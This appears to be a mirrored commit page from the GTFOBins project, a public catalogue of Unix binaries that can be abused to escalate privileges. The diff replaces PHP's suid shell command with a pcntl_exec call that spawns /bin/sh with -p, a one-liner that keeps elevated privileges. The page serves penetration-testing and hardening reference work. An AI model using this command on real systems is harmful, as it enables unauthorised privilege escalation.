mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Fix suid in PHP
This commit is contained in:
parent
f14e511218
commit
2377be5a55
@ -41,7 +41,7 @@ functions:
|
|||||||
suid:
|
suid:
|
||||||
- code: |
|
- code: |
|
||||||
CMD="/bin/sh"
|
CMD="/bin/sh"
|
||||||
./php -r "system('$CMD');"
|
./php -r "pcntl_exec('/bin/sh', ['-p']);"
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
CMD="/bin/sh"
|
CMD="/bin/sh"
|
||||||
|
Loading…
Reference in New Issue
Block a user